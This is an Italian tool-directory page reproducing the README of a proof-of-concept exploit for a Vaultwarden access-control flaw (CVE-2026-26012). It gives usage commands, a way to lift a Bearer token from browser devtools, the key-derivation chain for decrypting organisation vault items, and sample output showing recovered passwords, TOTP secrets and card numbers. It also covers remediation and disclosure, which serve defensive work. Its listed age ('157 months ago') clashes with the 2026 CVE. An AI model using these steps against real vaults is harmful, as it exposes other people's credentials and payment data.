Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-26012 — Proof-of-concept exploit per CVE-2026-26012, un controllo degli accessi non corretto in Vaultwarden che consente a qualsiasi membro dell'organizzazione di enumerare e decrittare tutte le cifrature, bypassando i permessi delle raccolte. | Kitploit
Strumenti/GitHubGitHub/dulieno/cve-2026-26012
Analisi delle VulnerabilitàExploitSicurezza WebCrittografiaPenetration TestingApprendimento e Formazione
GitHubdulieno/cve-2026-26012

CVE-2026-26012

Proof-of-concept exploit per CVE-2026-26012, un controllo degli accessi non corretto in Vaultwarden che consente a qualsiasi membro dell'organizzazione di enumerare e decrittare tutte le cifrature, bypassando i permessi delle raccolte.

Vedi Repository
157 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-26012 — PoC di Enumerazione Cipher per Vaultwarden

AI Assisted License

Enumerazione Completa dei Cipher che Ignora i Permessi delle Collezioni dell'Organizzazione

Una proof-of-concept per CVE-2026-26012, una vulnerabilità di controllo degli accessi non corretto in Vaultwarden (<= 1.35.2) che consente a qualsiasi membro dell'organizzazione di recuperare e decrittare tutti i cipher all'interno dell'organizzazione, indipendentemente dai permessi a livello di collezione.

🤖 Nota: Questo progetto è stato sviluppato con l'assistenza di Claude 3 Opus. L'IA è stata utilizzata per la generazione del codice, la struttura architetturale e la documentazione. Tutti gli output sono stati revisionati e testati manualmente per la garanzia della qualità.

Panoramica

CVECVE-2026-26012
AdvisoryGHSA-h265-g7rm-h337
Versioni AffetteVaultwarden ≤ 1.35.2
Corretto in1.35.3
CVSS 3.16.5 (Medio) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWECWE-863 — Autorizzazione non corretta
CreditiScoperta da @odgrso, corretta da @BlackDex

La Vulnerabilità

L'endpoint API GET /api/ciphers/organization-details è accessibile a qualsiasi membro dell'organizzazione. Internamente, chiama Cipher::find_by_org che restituisce tutti i cipher dell'organizzazione, per poi servirli con CipherSyncType::Organization senza applicare il controllo degli accessi a livello di collezione.

Poiché tutti i cipher dell'organizzazione condividono la stessa chiave di crittografia dell'organizzazione (che ogni membro riceve al momento dell'adesione), i cipher divulgati possono essere completamente decrittati lato client.

root@kitploit:~
Membro regolare dell'organizzazione (limitato alla collezione "Public")
    │
    ├── GET /api/sync                     → 5 cipher (corretto)
    │
    └── GET /api/ciphers/organization-details
            └──→ 47 cipher (TUTTI i cipher dell'organizzazione — BUG)
                  └──→ 42 cipher da collezioni riservate (DIVULGATI)
                        └──→ Decrittabili con la chiave dell'organizzazione che il membro possiede già

Contenuto del Repository

root@kitploit:~
.
├── README.md                   # Questo file
├── poc_cve_2026_26012.py       # Fase 1: Enumerazione dei cipher e rilevamento delle perdite
├── poc_decrypt.py              # Fase 2: Recupero della chiave dell'organizzazione e decrittazione dei cipher
└── LICENSE

Requisiti

  • Python 3.8+
  • cryptography (per la decrittazione della Fase 2)
  • argon2-cffi (solo se l'istanza target utilizza Argon2id KDF)
root@kitploit:~
pip install cryptography
pip install argon2-cffi  # opzionale

Utilizzo

Fase 1 — Enumerare i cipher divulgati

Rileva se l'istanza è vulnerabile confrontando i cipher restituiti dal normale endpoint /api/sync rispetto all'endpoint vulnerabile /api/ciphers/organization-details.

root@kitploit:~
# Autenticati tramite browser (SSO + 2FA supportati), poi passa il Bearer token
python3 poc_cve_2026_26012.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --org-id "ORG-UUID" \
    --output results.json
Tutte le opzioni di autenticazione
root@kitploit:~
# Bearer token (consigliato — funziona con SSO + 2FA)
--token "eyJhbGciOi..."

# Cookie di sessione
--cookie "VAULTWARDEN_SESSION=abc123..."

# Header Cookie grezzo (più cookie)
--cookie-header "session=abc; token=xyz"

# Accesso diretto con password (SOLO senza SSO e senza 2FA)
--email [email protected] --password "MasterPassword"

Come estrarre il tuo Bearer token:

  1. Accedi al vault web di Vaultwarden (completa SSO + 2FA come al solito)
  2. Apri gli Strumenti per sviluppatori del browser (F12) → scheda Rete
  3. Clicca un qualsiasi elemento nel vault per attivare una chiamata API
  4. Trova una richiesta a /api/... e copia il valore dell'header Authorization
Opzioni aggiuntive
root@kitploit:~
--no-verify-ssl     # Salta la verifica SSL (certificati autofirmati)
--show-all          # Mostra anche i cipher legittimamente accessibili
--max-display 50    # Numero massimo di cipher divulgati da mostrare (predefinito: 20)
--output results.json  # Esporta i risultati completi in JSON

Fase 2 — Decrittare i cipher divulgati

Recupera la chiave di crittografia dell'organizzazione e decritta tutti i cipher divulgati dalla Fase 1.

root@kitploit:~
python3 poc_decrypt.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --email [email protected] \
    --master-password "YourMasterPassword" \
    --org-id "ORG-UUID" \
    --leaked-json results.json \
    --output decrypted.json

Nota: --master-password è la tua password principale di Vaultwarden, utilizzata localmente per derivare la catena di chiavi di decrittazione. Non viene mai inviata in rete. Il --token gestisce l'autenticazione API.

Risoluzione dei problemi: Se la decrittazione della chiave fallisce, aggiungi --debug per vedere i valori intermedi a ogni passaggio. Lo script prova automaticamente 5 strategie (HKDF moderno, HMAC legacy, chiave grezza e varianti HMAC-skip) per gestire diverse età e configurazioni degli account.

Alternativa: fornire direttamente la chiave dell'organizzazione

Se hai già la chiave dell'organizzazione a 64 byte (128 caratteri esadecimali):

root@kitploit:~
python3 poc_decrypt.py \
    --org-key-hex "aabbccdd...128_hex_chars..." \
    --leaked-json results.json \
    --output decrypted.json

Esempio di Output

root@kitploit:~
[*] === Catena di Recupero della Chiave ===

[1/6] Recupero dei parametri KDF...
       KDF: PBKDF2-SHA256, iterazioni: 600000
[2/6] Derivazione della chiave principale...
[3/6] Stretching della chiave principale (HKDF-Expand)...
[4/6] Recupero delle chiavi crittografate da /api/sync...
       Organizzazione: ACME Corp
[5/6] Decrittazione della chiave simmetrica utente...
[6/6] Decrittazione della chiave privata RSA → Chiave dell'organizzazione...

[+] Chiave dell'organizzazione recuperata con successo!

[*] Decrittazione di 42 cipher...

============================================================
  RISULTATI DELLA DECRITTAZIONE
============================================================
  Totale:     42
  Decrittati: 42
  Errori:     0

  RIEPILOGO DELL'IMPATTO
  Password recuperate:     35
  Segreti TOTP recuperati:  12
  Numeri di carta recuperati:  3
============================================================

Come Funziona

Catena di Derivazione delle Chiavi

Ogni membro dell'organizzazione possiede già la chiave simmetrica dell'organizzazione, crittografata con la propria chiave pubblica RSA. La catena di decrittazione è:

root@kitploit:~
Password Principale + Email
    │  PBKDF2-SHA256 o Argon2id
    ▼
Chiave Principale (32 byte)
    │  HKDF-Expand-SHA256
    ▼
Chiave Stretched: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (decritta profile.key)
    ▼
Chiave Simmetrica Utente: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (decritta profile.privateKey)
    ▼
Chiave Privata RSA (PKCS#8 DER a 2048 bit)
    │  RSA-OAEP-SHA1 (decritta profile.organizations[].key)
    ▼
Chiave dell'Organizzazione: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC + HMAC-SHA256
    ▼
Dati dei cipher decrittati

Perché l'ACL delle Collezioni Non Protegge i Dati

Nel modello Bitwarden/Vaultwarden, tutti i cipher di un'organizzazione condividono la stessa chiave di crittografia. Il controllo degli accessi basato sulle collezioni è applicato solo lato server — il modello crittografico non applica i confini delle collezioni. Qualsiasi membro che possiede la chiave dell'organizzazione può decrittare qualsiasi cipher dell'organizzazione. Questa CVE bypassa il filtro lato server, esponendo tutti i cipher a qualsiasi membro.

Cosa Viene Decrittato

Tipo di CipherCampi Decrittati
Loginnome utente, password, segreto TOTP, URI
Cartaintestatario, numero, CVV, scadenza
Identitànome, codice fiscale, passaporto, indirizzo, telefono, email
Nota Sicuracontenuto completo della nota
Tutti i tipicampi personalizzati, metadati degli allegati

Rimedio

Aggiorna Vaultwarden a 1.35.3 o successivo immediatamente.

root@kitploit:~
docker pull vaultwarden/server:1.35.3

Dopo la patch, esegui di nuovo la Fase 1 per confermare la correzione — lo strumento dovrebbe riportare NOT VULNERABLE.

Azioni Post-Incidente

Se stavi eseguendo una versione vulnerabile in un'organizzazione multiutente:

  1. Ruota tutte le credenziali memorizzate nelle collezioni che erano riservate ad alcuni membri
  2. Revoca e rigenera i segreti TOTP per qualsiasi account con TOTP memorizzato nel vault
  3. Rivedi l'appartenenza all'organizzazione e rimuovi i membri non necessari
  4. Controlla i log di accesso per chiamate API insolite a /api/ciphers/organization-details

Divulgazione Responsabile

Questa PoC è pubblicata dopo che la vulnerabilità è stata divulgata pubblicamente e corretta:

  • 2026-02-10 — Vaultwarden 1.35.3 rilasciato con la correzione
  • 2026-02-11 — CVE-2026-26012 assegnata e advisory pubblicato
  • 2026-02-11 — GHSA-h265-g7rm-h337 pubblicato

Ringraziamenti

Questa PoC non esisterebbe senza il lavoro dei ricercatori di sicurezza originali e dei manutentori:

RuoloChiContributo
Segnalatore della Vulnerabilità@odgrsoHa scoperto e divulgato responsabilmente CVE-2026-26012
Sviluppatore del Rimedio@BlackDexHa sviluppato e pubblicato la correzione in Vaultwarden 1.35.3
Manutentore del Progetto@dani-garciaCreatore di Vaultwarden, ha coordinato l'advisory e il rilascio

Grazie per mantenere più sicuro l'ecosistema open-source.

Disclaimer Legale

Questa proof of concept è fornita strettamente per test di sicurezza autorizzati e scopi educativi. Devi avere esplicita autorizzazione scritta prima di testare qualsiasi sistema che non possiedi. L'accesso non autorizzato a sistemi informatici è illegale ai sensi del CFAA (USA), del Computer Misuse Act (Regno Unito) e delle leggi equivalenti in tutto il mondo. Gli autori non si assumono alcuna responsabilità per un uso improprio.

Riferimenti

  • GHSA-h265-g7rm-h337 — Advisory di Sicurezza GitHub
  • CVE-2026-26012 — Voce NVD
  • Vaultwarden 1.35.3 — Rilascio Corretto
  • Whitepaper di Sicurezza Bitwarden — Riferimento del Modello di Crittografia

Licenza

MIT — Vedi LICENSE.

Scarica lo strumento